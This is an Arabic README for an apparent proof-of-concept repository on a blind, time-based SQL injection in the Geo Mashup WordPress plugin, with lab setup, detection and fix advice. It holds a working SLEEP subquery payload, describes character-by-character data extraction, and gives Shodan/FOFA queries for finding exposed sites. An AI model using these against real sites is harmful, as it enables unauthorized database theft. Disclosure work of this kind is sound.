
إثبات المفهوم لـ CVE-2026-4060: حقن SQL أعمى زمني غير مصادق عليه في إضافة Geo Mashup لووردبريس عبر عبارة ORDER BY. يتضمن نص برمجي للاستغلال، بيئة مختبرية، وقالب اكتشاف Nuclei.
المهاجمون غير المصادق عليهم يمكنهم حقن استعلامات SQL عشوائية في جملة
ORDER BYعبر معاملsortفي نقطة النهايةrender-mapالخاصة بـ Geo Mashup، مما يسمح باستخراج عمى بيانات استناداً إلى الوقت من قاعدة البيانات الحساسة.
يتم تمرير معامل sort الذي تستقبله نقطة النهاية render-map مباشرة إلى استدعاء $wpdb->get_results() دون تعقيم:
// render-map.php (مبسط)
$sort = $_GET['sort'];
$results = $wpdb->get_results(
"SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
);
نظرًا لأن $sort يتم إدراجه كما هو، يمكن للمهاجم حقن استعلام فرعي في جملة ORDER BY. يقوم wpdb في WordPress بتهريب علامات الاقتباس المفردة، لذلك يستخدم الإثبات (PoC) ORD(SUBSTRING(...)) مع مقارنات رقمية لتجاوز هذا القيد واستخراج البيانات العمياء استناداً إلى الوقت.
نقطة النهاية المعرضة للخطر:
GET /?geo_mashup_content=render-map&map_content=global&sort=<الحمولة>
┌─────────────────────────────────┐
│ المضيف (localhost:8080) │
│ │
│ ┌─────────────┐ ┌──────────┐ │
│ │ WordPress │ │ MariaDB │ │
│ │ 6.8.2+PHP82 │──│ 11.4 │ │
│ │ :80 │ │ :3306 │ │
│ └─────────────┘ └──────────┘ │
│ + Geo Mashup 1.13.18 │
└─────────────────────────────────┘
Geo Mashup 1.13.18 نشط في لوحة تحكم WordPress:

git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
cd CVE-2026-4060-PoC
bash setup.sh
setup.sh سيقوم بما يلي:
بمجرد الانتهاء:
http://localhost:8080http://localhost:8080/wp-admin (المستخدم: admin / كلمة المرور: admin)time curl -s -o /dev/null \
"http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"
تأخير في الاستجابة لمدة ~8 ثوانٍ يؤكد وجود حقن SQL في ORDER BY.
# الوضع الافتراضي — طباعة النتائج المستخرجة فقط
python3 poc.py --url http://localhost:8080
# الوضع المفصل — عرض كل حمولة وزمن الاستجابة والحرف المستخرج
python3 poc.py --url http://localhost:8080 --verbose
# تأكيد SQLi فقط، تخطي استخراج البيانات
python3 poc.py --url http://localhost:8080 --confirm-only
nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080
docker compose down -v
حقن استعلام فرعي SLEEP(8) عبر معامل sort ينتج عنه تأخير في الاستجابة لمدة ~8 ثوانٍ.
time curl -s -o /dev/null \
"http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

الإثبات (PoC) يستخرج البيانات حرفاً بحرف باستخدام مقارنات ORD(SUBSTRING(...)): إرسال الحمولة → قياس زمن الاستجابة → تأكيد الحرف عند تشغيل SLEEP.
python3 poc.py --url http://localhost:8080 --verbose

البيانات المستخرجة:
| الاستعلام | النتيجة |
|---|---|
VERSION() | 11.4.10-MariaDB |
DATABASE() | wordpress |
USER() | [email protected] |
[CVE-2026-4060] [http] [high]
http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29
تم الفحص في 8.07 ثانية. تم العثور على تطابق واحد.
يستخدم قالب Nuclei تدفقاً من خطوتين لمنع النتائج الإيجابية الخاطئة.
إذا أرجع readme.txt خطأ 404 في الخطوة الأولى، يخرج الفحص فوراً دون إرسال حمولة SQL.
تم الفحص في 62 مللي ثانية. لم يتم العثور على تطابقات. ✅
التحقق من إصدار الإضافة عبر readme.txt:

إذا فشل compare_versions(version, '<= 1.13.18')، يتم تخطي الخطوة الثانية بالكامل.
تم الفحص في 19 مللي ثانية. لم يتم العثور على تطابقات. ✅
| الإجراء | التفاصيل |
|---|---|
| التحديث | ترقية Geo Mashup إلى 1.13.19 أو أحدث |
| مؤقت | تعطيل الإضافة حتى يتم تطبيق التحديث |
| جدار الحماية (WAF) | حظر أنماط حقن الاستعلامات الفرعية في جمل |
التصحيح: plugins.trac.wordpress.org/changeset/3503627
قالب Nuclei: nuclei/CVE-2026-4060.yaml
تدفق الكشف:
الخطوة 1: GET /wp-content/plugins/geo-mashup/readme.txt
→ تأكيد وجود الإضافة + الإصدار <= 1.13.18
الخطوة 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
→ الحالة 200 + GeoMashup.createMap + المدة >= 8 ثوانٍ
Shodan / FOFA:
Shodan: http.html:"geo-mashup"
FOFA: body="geo-mashup"
| التاريخ | الحدث |
|---|---|
| 2026-04 | تم اكتشاف الثغرة |
| 2026-04 | تم الإبلاغ لمطور الإضافة |
| 2026-05 | إصدار التصحيح Geo Mashup 1.13.19 |
| 2026-05-14 | تم تعيين CVE والإفصاح العام |
هذا المستودع مخصص لأغراض الاختبار الأمني التعليمي والمصرح به فقط.
لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.
المؤلف غير مسؤول عن أي استخدام خاطئ لهذه المواد.
| الحقل | التفاصيل |
|---|
| CVE | CVE-2026-4060 |
| الإضافة | Geo Mashup بواسطة cyberhobo |
| المتأثر | ≤ 1.13.18 |
| ثابت في | 1.13.19 |
| CVSS v3.1 | 7.5 (عالي) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| CWE | CWE-89 — تحييد غير صحيح للعناصر الخاصة في SQL |
| مطلوب مصادقة | لا شيء (غير مصادق عليه) |
| المكون | الإصدار |
|---|
| النظام | macOS (Darwin 25.4.0) |
| Docker | 27.x |
| WordPress | 6.8.2 (PHP 8.2, Apache) |
| MariaDB | 11.4 |
| Geo Mashup | 1.13.18 (معرض) |
| Python | 3.x (لـ poc.py) |
| Nuclei | v3.8.0 |
ORDER BY